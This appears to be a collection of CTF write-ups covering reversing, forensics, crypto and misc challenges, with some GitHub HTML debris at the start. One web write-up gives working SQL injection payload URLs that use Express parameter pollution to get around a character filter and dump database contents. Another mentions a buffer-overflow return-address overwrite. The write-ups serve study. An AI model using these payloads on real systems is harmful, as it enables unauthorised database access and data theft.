.22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
use buffer overflow to overwrite return address with flag function :) [Writeup :)](https://github.com/yuvaly0/CTFs/blob/master/2020_angstrom/No_Canary_DONE/No_Canary.md)
# Patcherman (207 solves) > Oh no! We were gonna make this an easy challenge where you just had to run the binary and it gave you the flag, but then clam came along under the name of "The Patcherman" and edited the binary! I think he also touched some bytes in the header to throw off disassemblers. >> Can you still retrieve the flag?>> Alternatively, find it on the shell server at `/problems/2020/patcherman/`.>> Author: aplet123 Solution: patching 0x601050 to 0x1337beef and patching instruction at 0x400763 to **cmp eax, 0** yields the flag: ```Here have a flag:actf{p4tch3rm4n_15_n0_m0r3}```
# UTCTF 2020 – Observe Closely * **Category:** forensics* **Points:** 50 ## Challenge > A simple image with a couple of twists...> > by phleisch ## Solution The challenge gives you [an image](https://github.com/m3ssap0/CTF-Writeups/raw/master/UTCTF%202020/Observe%20Closely/Griffith_Observatory.png). ![Griffith_Observatory.png](https://github.com/m3ssap0/CTF-Writeups/raw/master/UTCTF%202020/Observe%20Closely/Griffith_Observatory.png) Analyzing the image with an hexeditor, you can discover an hidden archive appended, because you can spot a `PK` file signature at the end of the file. In the archive, an [hidden ELF file](https://github.com/m3ssap0/CTF-Writeups/raw/master/UTCTF%202020/Observe%20Closely/hidden_binary) can be found. It is sufficient to run the executable to get the flag. ```root@m3ss4p0:~/Desktop# chmod u+x hidden_binary root@m3ss4p0:~/Desktop# ./hidden_binary Ah, you found me!utflag{2fbe9adc2ad89c71da48cabe90a121c0}```
# MoonwalkAfter seeing the iconic [Moonwalk](moonwalk), Covid19 wants to use its spike proteins to do the walk on the lung cells of infected people. Could it succeed in this evil endeavor? # Solution ## Finding mainWe first try to decompile it using a decompiler (ghidra, hopper dissassembler) and see that the main function is not directly available. This happens because the entry point address is different in the ELF header.Refer for more information on [ELF header](https://linux-audit.com/elf-binaries-on-linux-understanding-and-analysis/#structure) In cases like this we have to find main in order to be able to view the decompiled code. Refer this [video](https://www.youtube.com/watch?v=N1US3c6CpSw) by LiveOverflow to get a good understanding on how to find main in binaries On looking through gdb we see that the entry point address is set to start of .text section.![img1](gdb_1.png) We set a breakpoint on `__libc_start_main`. This function calls the main function. On reaching the breakpoint we get the address of the actual main function. On examining that address we see instructions that could be similar to a main function too. ![img1](gdb_2.png) Now we patch the ELF header to change the entry point address to the value we found. (0x497)The [patched binary](moonwalk_pathed). This can be patched using any hex editor. We used https://hexed.it/?hl=en . The values to be changed is understood after reading up about the format of the header from the link mentioned above ## Analyzing the code On decompiling the patched binary we see the main function. After cleaning up some of the code from Ghidra( renaming variables, changing hex to decimal, understanding and replacing with easier logic ). The [raw decopiled code](code_ghidra.c) and [cleaned up code](code_cleaned.c) are both attached for reference on how the cleaning was done. From the final `printf` call we observe that the flag is actually the input we have to give to the program.`printf("\nCorrect :)\nFLAG:\tSUSEC{%s}\n%s%s%s%s\n",input_buff,&DAT_001012e5, &DAT_001012e9,&DAT_001012ed,&DAT_001012f1);`Only the correct input passes the checks and reaches the print statement. The values in `local_98` array is set before the code begins. Here we see that `first_check` is incremented only when count is odd and the first condition is satisfied. To get a better idea about when the first condition is satisfied we need to explore the next part of the code which begins with this condition `first_check+4 %16==0` . From this we understand that after the above snippet `first_check` must be 12. So for all odd values of count the first conditon must hold true.So `input_buff[9]` would have ascii corresponding to `ilocal_98[1]` and so on till `input_buff[20]`. So our flag has: w4lk_wh3n_1t in positions 9 - 20```cfirst_check = 0;count = 0;while (count < 24) { if ( (local_98[count] == input_buff[(long)first_check + 9]) && (count % 2 ==1) ) { first_check = first_check + 1; } count = count + 1; } if (input_size != 41) { first_check = 1; }``` This next part contains code for a progress bar which is not relevant to our input analysis. ```cif ( first_check+4 %16==0 ){ puts("Wait 20 min please.\nMake your terminal wider to see progress bar."); temp_time = time((time_t *)0x0); count = 0; while (count < 0x192643) { //Timer code -- useless if (count % 100 == 0) { ... } usleep(1000); *(ulong *)(input_buff + 21) = *(ulong *)(input_buff + 33) ^ 0x45a9278d6f0be1c3; first_check = first_check * 2; count = count + 1; }``` The progrss bar is followed by an condition check. For the code to progrss to flag all the conditions must hold true. We also note that the flag is 39 characters long since `input_buff[39]` is assigned `'\0'`This is basically 9 xor equations to be satisfied by the first 9 characters of our flag.A thing to note is that these 9 equations do not have a unique solution. ```cinput_buff[39] = 0;//'\0';if ((( ((((input_buff[1] ^ *input_buff) == 0x49) && ((input_buff[2] ^ input_buff[1]) == 0x45)) && ((input_buff[3] ^ input_buff[2]) == 0x2a)) && (((input_buff[4] ^ input_buff[3]) == 0x28 && ((input_buff[5] ^ input_buff[4]) == 0x46))) ) && (((input_buff[6] ^ input_buff[5]) == 0x5d && (((input_buff[7] ^ input_buff[6]) == 0x10 && ((input_buff[8] ^ input_buff[7]) == 0x23)))))) && ((*input_buff ^ input_buff[8]) == 0x26)){ .... } ``` A python scipt to find all possible combinations in the range of ascii values was used and the output was examined to get a possible match. ```pythoncount = 0for i in range(128): a0 = i a1 = a0 ^ 0x49 a2 = a1 ^ 0x45 a3 = a2 ^ 0x2a a4 = a3 ^ 0x28 a5 = a4 ^ 0x46 a6 = a5 ^ 0x5d a7 = a6 ^ 0x10 a8 = a7 ^ 0x23 if(a0 ^ a8 == 0x26): count = count + 1 print(chr(a0) + chr(a1) + chr(a2) + chr(a3) + chr(a4) + chr(a5) + chr(a6) + chr(a7) + chr(a8)) ``` After examining the (128 entries) output a possible match was identified. So our flag has: y0u_w1l|_ in positions 0 - 8 Moving on we observe a 10 character string comparison between 29 to 38 characters of `input_buff` with values in memory address starting from that of `local_a2` ```c iVar1 = strncmp((char *)(input_buff + 29),&local_a2,10); if (iVar1 == 0) { ... }``` But we observe from the intial declaration that `local_a2` is a single char variable. However when we look at the initial declaration, we see that 9 other variables were declared right after `local_a2`. So these variables might occupy the subsequent 10 memory address. These variables are shown below. These variables were assigned constant values at different parts of the code. Note: `typedef undefined char` is present on decompiling this binary in Ghidra ``` char local_a2;// Assumed at address say : addr undefined local_a1; // Is located at : addr + 1 undefined local_a0; // addr + 2 undefined local_9f; undefined local_9e; undefined local_9d; undefined local_9c; undefined local_9b; undefined local_9a; undefined local_99; // addr + 9 ```On getting the values we conclude that flag has : _t0_w4lk;) in positions 29-38 The next condition checks a part of `input_buff` for a value and then subsequently changes it to a new value after xoring with a constant. The final value would then be ` 0x20c44eba3078d09c ^ 0x45a9278d6f0be1c3 ` which on converting to ascii and reversing (Since [Little Endian](https://en.wikipedia.org/wiki/Endianness#Little-endian) is used ) gives the flag characters. Here we know the condition has to be satisfied so we can safely assume the initial value is the value present in the condition. ```c if (*(long *)(input_buff + 21) == 0x20c44eba3078d09c) { *(ulong *)(input_buff + 21) = *(ulong *)(input_buff + 21) ^ 0x45a9278d6f0be1c3; .... }``` So the flag has : _1s_7ime in positions 21-28 The entire flag is : y0u_w1l|_w4lk_wh3n_1t_1s_7ime_t0_w4lk;)
# Noisy1. Intro 2. Understand the script3. Get the flag ## Intro![](https://imgur.com/Dwk2KCD.png) 28800 lines with random floats. *Nice* ## Understanding the script ```pythonimport numpy as npfrom random import gaussmorse = REDACTEDrepeats = REDACTEDpointed = []for c in morse: if c == ".": pointed.extend([1 for x in range(10)]) if c == "-": pointed.extend([1 for x in range(20)]) if c == " ": pointed.extend([0 for x in range(20)]) pointed.extend([0 for x in range(10)]) with open("points.txt", "w") as f: for _ in range(repeats): signal = pointed output = [] for x, bit in enumerate(signal): output.append(bit + gauss(0,2)) signal = list(np.array(output) - .5) f.write('\n'.join([str(x) for x in signal])+"\n")f.close()``` There is 2 things we don't know here : morse, which is the flag, and repeats, the number of times the flag is repeated. The first ```for``` is used to translate the morse code into 0 and 1.We can see after each character, ten 0 are printed. For example, ```".-"``` -> 11111111110000000000111111111111111111110000000000 The entire message is stored in ```pointed```. ```with open("points.txt", "w") as f: ```open the file to write the message inside, with a ```for``` loop to repeat the message [repeats] times. ```pythonfor x, bit in enumerate(signal): output.append(bit + gauss(0,2)) signal = list(np.array(output) - .5) f.write('\n'.join([str(x) for x in signal])+"\n")``` This block of code a every bit of pointed in the file, adding to it ```gauss(0, 2)```. Gauss is a function which return a random number chosen like this : ![](https://imgur.com/9VqacO7.png) with here μ = 0 and σ = 2 Finally, we can see here ```signal = list(np.array(output) - .5)``` that we substract 0.5 to this number. I don't really know the reason, except to make me lose 30min... :cry: ### Recap : - As the message is random-based, we need to do an average to get the real character, this is why there is 10 character each time and why we repeat the message- We have to find either the length of the message or the number of repetition. ## Get the flagFirst we have to find the possible sizes for the flag. It can be easily done with this python script :```possibleSize = []a = 0for i in range(1, 2880)): if 2880%i == 0: a += 1 possibleSize.append(i)print(possibleSize)``` For every int between 1 and 2880 (2880 = 28800/10, because every character in the message is repeated 10 times), we will see if 2880 mod i (were i is a possible message length) is equal to 0, because there is only entire message repetion. We have repeats\*messageLength = 2880. The result is ```[1, 2, 3, 4, 5, 6, 8, 9, 10, 12, 15, 16, 18, 20, 24, 30, 32, 36, 40, 45, 48, 60, 64, 72, 80, 90, 96, 120, 144, 160, 180, 192, 240, 288, 320, 360, 480, 576, 720, 960, 1440]``` I don't think the message is less than 10 morse character long, so let's remove some values : ```pythonpossibleSize = [15, 16, 18, 20, 24, 30, 32, 36, 40, 45, 48, 60, 64, 72, 80, 90, 96, 120, 144, 160, 180, 192, 240, 288, 320, 360, 480, 576, 720, 960, 1440]``` Now we have everything we need to write the solver script ```pythonpossibleSize = [15, 16, 18, 20, 24, 30, 32, 36, 40, 45, 48, 60, 64, 72, 80, 90, 96, 120, 144, 160, 180, 192, 240, 288, 320, 360, 480, 576, 720, 960, 1440]filename = r"F:\CTF\angstromCTF\misc\Noisy\4ea.txt"``` and we read the file ``` pythonwith open(filename) as f: content = f.readlines()content = [float(x.strip())+0.5 for x in content] #don't forget to add 0.5 to the value read```content contain every lines of the file in an array. Let's sum every group of ten values :```pythonten = 10tenAdded = 0allAddedG10 = []for i in range(2880): tenAdded = 0 for j in range(ten): tenAdded += content[i*ten+j] #we add the values of the nth group of ten allAddedG10.append(tenAdded)``` allAddedG10 now contain every group of ten. NOW LET'S HAVE FUN Now everything will be inside a for loop, to test every possible sizes :```pythonfor size in possibleSize:``` And, before anything else, I need to show your how I will process the dataLet's take an example :```allAddedG10 = [12, 15, 3, 9, 16, 5, 10, 8, 10, 9, 9, -4] #len(allAddedG10) = 12possibleSizes = [1, 2, 3, 4, 6, 12] #every divisor of 12``` ![](https://imgur.com/Delh86K.png) Depending on the size, we put the set in defferent array. With a size of 4, there is 4 column, etc... Then, we can do the average ? of the column. If this average is greater than 5, the character of the message is a 1, else, it's a 0. And we just have to check every array, to se if the output is valid : ![](https://imgur.com/yAxtBvk.png) We find a valid output with size = 3, and the output is "-" Let's do the same on the challenge. ```python nbRepeat = int((len(allAddedG10))/size) #because repeats*messageLength = len(allAddedG10) <=> repeats = len(allAddedG10) / messageLength arrayPart = [] arrayG10 = [] for i in range(nbRepeat): arrayPart = [] for j in range(size): arrayPart.append(allAddedG10[i*size+j]) arrayG10.append(arrayPart)``` We now have an array with every groups of 10, and do the average of the columns will give us the character of the message, if we use the right size. Let's calculate the total of every column :```python columnTotal = [0 for x in range(size)] for i in range(nbRepeat): #i stand for the number of the row for j in range(size): #j stand for the number of the column columnTotal[j] += arrayG10[i][j] ``` ![](https://imgur.com/OfYF4kG.png) Now, in columnTotal, we have the total of each column. Calculation of the average and the final value: ```python definitivValues = [] for i in range(size): average = columnTotal[i]/(nbRepeat*ten) if average < 0.5: average = 0 else: average = 1 definitivValues.append(average)``` Now we want to avoid every incoherent values, for example those which don't start with a 1 and end with a 0 : ```python if definitivValues[0] == 1 and definitivValues[-1] == 0: print(size) print(definitivValues)``` Final script : ```pythonpossibleSize = [15, 16, 18, 20, 24, 30, 32, 36, 40, 45, 48, 60, 64, 72, 80, 90, 96, 120, 144, 160, 180, 192, 240, 288, 320, 360, 480, 576, 720, 960, 1440]filename = r"F:\CTF\angstromCTF\misc\Noisy\4ea.txt" with open(filename) as f: content = f.readlines()content = [float(x.strip())+0.5 for x in content] #don't forget to add 0.5 to the value read ten = 10tenAdded = 0allAddedG10 = []for i in range(2880): tenAdded = 0 for j in range(ten): tenAdded += content[i*ten+j] #we add the values of the nth group of ten allAddedG10.append(tenAdded) for size in possibleSize: print("------------------------------") nbRepeat = int((len(allAddedG10))/size) #because repeats\*messageLength = len(allAddedG10) <=> repeats = len(allAddedG10) / messageLength arrayPart = [] arrayG10 = [] for i in range(nbRepeat): arrayPart = [] for j in range(size): arrayPart.append(allAddedG10[i*size+j]) arrayG10.append(arrayPart) columnTotal = [0 for x in range(size)] for i in range(nbRepeat): #i stand for the number of the row for j in range(size): #j stand for the number of the column columnTotal[j] += arrayG10[i][j] definitivValues = [] for i in range(size): average = columnTotal[i]/(nbRepeat*ten) if average < 0.5: average = 0 else: average = 1 definitivValues.append(average) if definitivValues[0] == 1 and definitivValues[-1] == 0: print(size) print(definitivValues)``` We can see that 16, 24, 72, 90, 96,... are valid values Now forget every values with incoherent values, like three 0, three 1, more than four 0, etc... The first value working is for size = 96 : `.- -. --- .. ... -.-- -. --- .. ... .` Translated, it gives us : `ANOISYNOISE` `Flag : ANOISYNOISE` ----- *If you have any questions, you can dm me on Discord, nhy47paulo#3590*
# **A Peculiar Query (180pts) (73 Solves)** ![TASK](https://imgur.com/A6EHPkW.png) I really liked this web task , we are given this web page that have a search functionality ![TASK](https://imgur.com/gRutDcV.png) And we can read the source code ```javascript const express = require("express");const rateLimit = require("express-rate-limit");const app = express();const { Pool, Client } = require("pg");const port = process.env.PORT || 9090;const path = require("path"); const client = new Client({ user: process.env.DBUSER, host: process.env.DBHOST, database: process.env.DBNAME, password: process.env.DBPASS, port: process.env.DBPORT}); async function query(q) { const ret = await client.query(`SELECT name FROM Criminals WHERE name ILIKE '${q}%';`); return ret;} app.set("view engine", "ejs"); app.use(express.static("public")); app.get("/src", (req, res) => { res.sendFile(path.join(__dirname, "index.js"));}); app.get("/", async (req, res) => { if (req.query.q) { try { let q = req.query.q; // no more table dropping for you let censored = false; for (let i = 0; i < q.length; i ++) { if (censored || "'-\".".split``.some(v => v == q[i])) { censored = true; q = q.slice(0, i) + "*" + q.slice(i + 1, q.length); } } q = q.substring(0, 80); const result = await query(q); res.render("home", {results: result.rows, err: ""}); } catch (err) { console.log(err); res.status(500); res.render("home", {results: [], err: "aight wtf stop breaking things"}); } } else { res.render("home", {results: [], err: ""}); }}); app.listen(port, function() { client.connect(); console.log("App listening on port " + port);}); ``` ## Overview ## It's pretty obvious that we have an sql injection here ( we are concatenating the user input )> const ret = await client.query(`SELECT name FROM Criminals WHERE name ILIKE '${q}%';`); But as we can see some filters are here :'( these characters are filtered : [',-,",.] , after some tries i have figured that it will be impossible to bypass them so i started looking to some JS tricks.As we can see the filter function is looping over our input and checks if there are some prohibited characters and then it will replace them with "*" , For example if we type > hello"or 1=1 -- - Our input will be changed to :> hello************ ```javascriptlet q = req.query.q;let censored = false;for (let i = 0; i < q.length; i ++) { if (censored || "'-\".".split``.some(v => v == q[i])) { censored = true; q = q.slice(0, i) + "*" + q.slice(i + 1, q.length); }}``` And finally it's using substring function to limit our input's length to 80 characters ```javascriptq = q.substring(0, 80);const result = await query(q);res.render("home", {results: result.rows, err: ""});```Hmmm everything seems okay nah ? but it's a ctf web task we have to find some vulnerabilities ! let's pass to how i did to solve it now, enough boring things ## Exploitation ## The first thing i thinked about was http parameter pollution in express (read about it **[HERE](https://github.com/expressjs/express/issues/1824)** if you want ) ,briefly when we enter a get parameter multiple times express has a weird interpretation , it will process this parameter as an array for example here, if we pass this in the query :> ?q=hello&q=allo&q=fword **req.query.q** will be parsed as an array **["hello","allo","fword"]** , so if we go further when we will be iterating of **q** variable we will be comparing each array field with the filters for example, if we pass this query :>q="or 1=1 -- -&q=fword we will firstly compare **"or 1=1 -- -** and then the second field **fword** with these filtered chars **[',-,",.]** , they are not equal ! , Youupi we can get our flag now as we passed the check . Unfortunately , it's not that easy ,have you forgot the substring function ? an array has not a built in substring function so when we reach the substring part this will raise an error so we won't execute the sql query :/Javascript weird behaviour will save us this time ! if we do **[]+[]** the result is a string , the sum of two arrays is a string so if we enter a **"** in one query parameterwe will enter this part ```javascriptcensored = true;q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);```and arrays have a built in slice function so the result of **[]+"*"+[]** will be a string , we can now enter our payload with **q='** in the end to ensure that our array will be a string when it reaches the substring partFor example :>q='or 1=1 -- -&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=' will let us pass ! **FILTERS BYPASSED SUCCESSFULLY** To test the number of q parameters and debug the app , i changed a little bit the source code and hosted the web app locally , you can find the modified source code **[HERE](https://github.com/kahla-sec/CTF-Writeups/blob/master/%C3%A5ngstromCTF2k20/A%20Peculiar%20Query/app.js)** if you want to test :D ![TASK](https://imgur.com/upRUoxR.png) The next part is pretty classic , a simple sql injection , we will first dump the columns name (we know the table name from the source code)> q=%27union%20SELECT%20column_name%20FROM%20information_schema.columns%20--%20-&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=%27 ![TASK](https://imgur.com/XAVrsrR.png) and finally we find a column named **crime** so our final payload will be :>HOST/?q=%27union%20SELECT%20crime%20FROM%20criminals%20--%20-&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=%27 ![TASK](https://imgur.com/7KWe6dF.png) And Congratulations ! I want to thank the organizers for this great CTF and fun tasks , i have really enjoyed participating
# PSK### Category: misc### Description:My friend sent my yet another mysterious recording... He told me he was inspired by PicoCTF 2019 and made his own transmissions. I've looked at it, and it seems to be really compact and efficient. Only 31 bps!! See if you can decode [what he sent to me](transmission.wav). It's in actf{} format### Author: JoshDaBosh ### Solution:As soon as I read PSK I thought about Phase-Shift Keying modulation so I opened the description and read 31, I already heard about PSK-31 so after asking to a radio amateur friend of mine I came up with the attempt to decode it via some kind of PSK-31 software, on windows there are plenty of them, one is called `RX-PSK31`. I installed it, opened in and reproduced the audio via the computer speaker into the connected microphone, shifted the cursor onto the main occupied frequency range and BOOM the flag suddenly appeared on the output text-box ![](win-psk.png) ### Flag:```actf{hamhamhamhamham}```
# **Shifter (160pts) (455 Solves)** ![TASK](https://imgur.com/SZjr2vw.png) When we connect to the netcat service we get this message ![JWT](https://imgur.com/MMLIhgh.png) So the task is pretty simple , it just needs some coding skills , here is my solver ## **[HERE](https://github.com/kahla-sec/CTF-Writeups/blob/master/%C3%A5ngstromCTF2k20/Shifter/exploit.py)**
The cookies contain things like `frequency=7; transmissions=kxkxkxkxshMy59kxkxkxkxsh` Do a bunch of requests and order the transmissions by their accompanied frequency.Remove the constant garbage around the changing letters and get some Starset tracks to form the flag pctf{Down_With_the_Fallen,Carnivore,Telescope,It_Has_Begun,My_Demons}
Shift VFKGGPTEKQYCBLLONRLGWKOQCDJMAYQCNPDZQQQ by n=44: This is what you get when you netcat to the server, which is just a normal netcat question Creating the fibonacci sequence in this case will take too long for the 60 second time limit as I found out, so after googling around I found out that creating a list of fibonacci sequence numbers will allow me to access the numbers exponentially faster. Since we know the upper limit of the sequence, which is less than fifty, creating a list to that limit will allow us to solve this question easily.
Keysar sounds like caesar cipher, but caesar ciphers dont have keys? Turns out it was encrypted using the Keyed caesar cipher Plugging everything into http://rumkin.com/tools/cipher/caesar-keyed.php we will get the flag.
This is a One Time Pad challenge, and from wikipedia you can see the conditions for OTP to be perfect : If the key is (1) truly random, (2) at least as long as the plaintext, (3) never reused in whole or in part, and (4) kept completely secret, then the resulting ciphertext will be impossible to decrypt or break. We know the conditions 2-4 is met by reading the source code, the key is randomly generated to the length of the plaintext. But condition 1, however is not. Since the random seed is generated using random.seed(time.time()) We can abuse it by similarly calling random.seed(time.time()) to hopefuly get the same seed when we netcat to the server Though I cannot get the same seed perfectly 100% since I got lazy, running the program a couplf of times will result in that happening The result is just inversing what the XOR operations done.
Hey guys back with another set of few writeups. # **CRYPTO** ## Discrete Superlog-:> description: You've heard of discrete log...now get ready for the discrete superlog. `Server 1: nc crypto.2020.chall.actf.co 20603` `Server 2: nc 3.234.224.95 20603` `Server 3: nc 3.228.7.55 20603` Author: lamchcl ### Solution: When we connect to the server,we were greeted with this ![image](assets/disc_log.png) So from the description we know we need to do something with *discrete log* . But then analyzing this opertor **^^** , we found that this is something we known as [Tetration](https://en.wikipedia.org/wiki/Tetration).So in [Discrete log](https://en.wikipedia.org/wiki/Discrete_logarithm) , for a function (a^x)=b mod p we need to find x by using baby-step giant-step method. But here the things are different and as they *Discrete superlog*. So let's brute the value of x , in simple words we check for each value of x.Having [Fermat's Little Theorem](https://en.wikipedia.org/wiki/Fermat%27s_little_theorem) in mind, I know pow(a,x,p)=pow(a,x mod(phi(p)),p ) where phi() is euler totient function. So whenever the power raised is getting bigger we will make it smaller by taking modulo over phi(p).Using simple recursion will help it. ##### Termination:The program will terminate when finally the power raised is getting modulo 1 or we would say phi(phi(phi....(p)....))=1.After then the answer will be same for every x. ```def tet(a,x,p): if p==1 or x==0: return 1 phi=totient(p) return pow(a,tet(a,x-1,phi),p)``` After testing over some values:```>>> tet(5,1,37)5>>> tet(5,2,37)17>>> tet(5,3,37)35>>> tet(5,4,37)35>>> tet(5,5,37)35``` Here is our final script: ```pythonfrom pwn import *from sympy.ntheory import totient def tet(a,x,p): if p==1 or x==0: return 1 phi=totient(p) return pow(a,tet(a,x-1,phi),p) r=remote("crypto.2020.chall.actf.co",20603)level=1 while 1: if level>10: print(r.recv()) exit() print(r.recvuntil("...\n")) details=r.recv() values=details.split("\n")[:-1] print(values) p=int(values[0].split()[-1]) a=int(values[1].split()[-1]) b=int(values[2].split()[-1]) x=0 while 1: c=tet(a,x,p) if c == b: break x+=1 print("x value : " + str( x ) ) r.sendline(str(x)) level+=1 r.close()``` We got [this response](assets/discsuperlog_response.txt) for the above [script](assets/dec_disclog.py): ![image](assets/flag_disclog.png) Here is our flag:`actf{lets_stick_to_discrete_log_for_now...}` ## Wacko Images-:> description: How to make hiding stuff a e s t h e t i c? And can you make it normal again? [enc.png](assets/enc.png) [image-encryption.py](assets/image-encryption.py) Author: floorthfloor ### Solution: So we are given a script which just encrypt the value of [r,g,b] values of each pixel in the image. And makes the image completely gibberish from outside. ![image](assets/enc.png) The given script:```pythonfrom numpy import *from PIL import Image flag = Image.open(r"flag.png")img = array(flag) key = [41, 37, 23] a, b, c = img.shape for x in range (0, a): for y in range (0, b): pixel = img[x, y] for i in range(0,3): pixel[i] = pixel[i] * key[i] % 251 img[x][y] = pixel enc = Image.fromarray(img)enc.save('enc.png')```So if we see the script we found that values are multiplied by key array. So we need to just divide it (*modular division*) :smiley: . Here is our [script](assets/dec.py): ```pythonfrom numpy import *from PIL import Imagefrom gmpy2 import * flag = Image.open(r"enc.png")img = array(flag) key = [41, 37, 23]invkey=[invert(k,251) for k in key] a, b, c = img.shape for x in range (0, a): for y in range (0, b): pixel = img[x, y] for i in range(0,3): pixel[i] = pixel[i] * invkey[i] % 251 img[x][y] = pixel dec = Image.fromarray(img)dec.save('flag.png')``` Voila! we got the flag: ![image](assets/flag.png) There is our flag : `actf{m0dd1ng_sk1llz}`
Generic RSA question n : 126390312099294739294606157407778835887 e : 65537 c : 13612260682947644362892911986815626931 Plugging n into alpertron will immediately return p and q. After getting p and q just the other variables phi = (p-1) * (q-1) d = modInverse(e, phi)pt = pow(ct, d, n) pt is a bytearray. Deciphering will return us the flag.
